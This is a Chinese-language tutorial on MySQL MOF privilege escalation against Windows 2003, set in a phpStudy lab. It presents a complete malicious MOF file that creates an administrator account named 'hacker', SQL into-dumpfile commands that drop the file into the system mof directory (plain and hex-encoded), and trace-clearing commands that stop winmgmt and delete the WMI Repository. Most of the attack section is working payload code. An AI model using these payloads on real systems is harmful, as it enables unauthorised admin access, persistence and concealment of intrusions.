MySql教程

mysql mof提权

本文主要是介绍mysql mof提权,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

mysql mof提权

1. 前置知识

  • mysql中的secure_file_priv参数
    • 使用:
      • 当 secure_file_priv=NULL 时,是不允许mysql导出文件的
      • 当 secure_file_priv=xxx 时,是只允许mysql将文件导出到xxx目录下的
      • 当 secure_file_priv= 时,mysql可以将文件导出到任意目录下
      • 该参数在 my.ini 文件中。如要修改,只能通过my.ini文件修改,然后重启mysql。不能够通过sql语句进行修改。
    • 注意:
      • 在mysql5.5之前 secure_file_priv默认是空,这个情况下可以向任意绝对路径写文件
      • 在mysql5.5之后 secure_file_priv默认是NULL,这个情况下不可以写文件
  • MOF文件(了解一下即可)
    • 托管对象格式(MOF)文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:c:/windows/system32/wbme/mof/,其作用是每隔五秒就会去监控进程创建和死亡。

2. mof提权原理及利用条件

  • mof提权原理
    • C:\WINDOWS\system32\wbem\mof 目录下的mof文件每隔一段时间(几秒左右)就会被系统自动的执行,且为系统权限,因为这个mof里面有一部分是VBS脚本,所以可以利用这个VBS脚本来调用CMD执行系统命令,如果mysql有权限操作mof目录的话,就可以来执行任意命令了。
    • 由该原理我们也不难想到:这里mysql的作用就类似于一个桥梁,仅仅用来帮助我们写mof文件而执行mof文件的并不是mysql本身。那么如果存在另一个软件(或往更大的范围说:如果存在另一种方法),我们也可以通过它向C:\WINDOWS\system32\wbem\mof目录中写mof文件的话,也是可以达到同样的效果的,没必要非要是mysql。
  • 利用条件
    1. windows 03及以下版本
    2. secure-file-priv参数的值 "是空的"
    3. mysq启动身份具有权限去读写 C:\WINDOWS\system32\wbem\mof 目录

3. 提权复现

3.1 实验环境

  • 本实验环境使用的是phpstudy搭建
    • php-5.3.29-nts + apache
    • mysql版本是:5.5.53 MySQL Community Server (GPL)
    • 操作系统版本:windows 2003 sp2 enterprise edition

3.2 开始复现

  • 利用姿势其实是有两种:
    1. 第一种:我们先上传一个包含了恶意VBS代码的mof文件,再使用sql语句将上传的mof文件导出到 C:\WINDOWS\system32\wbem\mof目录下。
    2. 第二种:我们不上传mof文件,直接通过sql语句将恶意的VBS代码输出到 C:\WINDOWS\system32\wbem\mof 目录下(这个姿势在我们找不到上传点的情况下可以利用)。
  • 在这里我们假设已经拿到了网站的webshell,以及数据库的账号密码

3.2.1 第一种姿势

  1. 我们先把包含了恶意VBS代码的test.mof文件上传到 www 目录下
    01_webshell展示
  • 以下是 test.mof 文件中的恶意VBS代码
    #pragma namespace("\\\\.\\root\\subscription") 
    
    instance of __EventFilter as $EventFilter 
    { 
        EventNamespace = "Root\\Cimv2"; 
        Name  = "filtP2"; 
        Query = "Select * From __InstanceModificationEvent " 
                "Where TargetInstance Isa \"Win32_LocalTime\" " 
                "And TargetInstance.Second = 5"; 
        QueryLanguage = "WQL"; 
    }; 
    
    instance of ActiveScriptEventConsumer as $Consumer 
    { 
        Name = "consPCSV2"; 
        ScriptingEngine = "JScript"; 
        ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")";
    }; 
    
    instance of __FilterToConsumerBinding 
    { 
        Consumer   = $Consumer; 
        Filter = $EventFilter; 
    };
    
  1. 查看 secure_file_priv 参数,看mysql是否被允许导出文件

    • payload:
      show variables like "secure_file_priv"
      
    • 发现 mysql可以导出文件
      02_查看secure_file_priv参数
    • 注意:
      • 我的mysql的版本是5.5.53,该参数应该为 “secure_file_priv=NULL”,在这里为了让实验继续下去,便将参数修改为了“secure_file_priv=”
  2. 将test.mof文件中的恶意代码导出到 C:\WINDOWS\system32\wbem\mof 目录下

    • payload:
      select load_file('C:/phpStudy/WWW/test.mof') into dumpfile 'C:/WINDOWS/system32/wbem/mof/test.mof'
      
    • 可以看到,我们已经成功的将mof文件导出到 C:\WINDOWS\system32\wbem\mof 目录下了
      03_导出mof文件
  3. 看我们的恶意代码是否被成功执行

    • 可以看到hack用户被成功创建,且被移动到了administrators组中
      04_查看结果

3.2.2 第二种姿势

  • 直接通过sql语句将恶意VBS代码写入到 mof目录下
  • payload:
    select 0x23707261676D61206E616D65737061636528225C5C5C5C2E5C5C726F6F745C5C737562736372697074696F6E2229200A0A696E7374616E6365206F66205F5F4576656E7446696C74657220617320244576656E7446696C746572200A7B200A202020204576656E744E616D657370616365203D2022526F6F745C5C43696D7632223B200A202020204E616D6520203D202266696C745032223B200A202020205175657279203D202253656C656374202A2046726F6D205F5F496E7374616E63654D6F64696669636174696F6E4576656E742022200A20202020202020202020202022576865726520546172676574496E7374616E636520497361205C2257696E33325F4C6F63616C54696D655C222022200A20202020202020202020202022416E6420546172676574496E7374616E63652E5365636F6E64203D2035223B200A2020202051756572794C616E6775616765203D202257514C223B200A7D3B200A0A696E7374616E6365206F66204163746976655363726970744576656E74436F6E73756D65722061732024436F6E73756D6572200A7B200A202020204E616D65203D2022636F6E735043535632223B200A20202020536372697074696E67456E67696E65203D20224A536372697074223B200A2020202053637269707454657874203D200A2276617220575348203D206E657720416374697665584F626A656374285C22575363726970742E5368656C6C5C22295C6E5753482E72756E285C226E65742E6578652075736572206861636B6572205040737377307264202F6164645C22295C6E5753482E72756E285C226E65742E657865206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F6164645C2229223B200A7D3B200A0A696E7374616E6365206F66205F5F46696C746572546F436F6E73756D657242696E64696E67200A7B200A20202020436F6E73756D65722020203D2024436F6E73756D65723B200A2020202046696C746572203D20244576656E7446696C7465723B200A7D3B0A into dumpfile "C:/windows/system32/wbem/mof/test2.mof"
    
    • 上面 sql 中 select 后面的字符串是恶意VBS代码的十六进制形式
    • 下图是执行的结果
      05_第二种姿势

4. 清除痕迹

  • 因为每隔一段时间时间,mof文件会被再次执行以致重新添加用户,所以想要清理痕迹得先暂时关闭 winmgmt服务再删除相关mof文件,这个时候在删除用户才会有效果
  • 操作命令如下(已检验可以使用):
    # 停止 winmgmt 服务
    net stop winmgmt
    # 删除 Repository 文件夹
    rmdir /s /q C:\Windows\system32\wbem\Repository\
    # 手动删除 mof 文件
    del C:\Windows\system32\wbem\mof\good\test.mof /F /S
    # 删除创建的用户
    net user hacker /del
    # 重新启动服务
    net start winmgmt
    
  • 实操
    06_扫尾演示

5. 参考

  1. https://blog.csdn.net/qq_45290991/article/details/117536250
  2. https://www.cnblogs.com/zzjdbk/p/12991468.html
  3. https://www.cnblogs.com/wkzb/p/13179418.html
这篇关于mysql mof提权的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!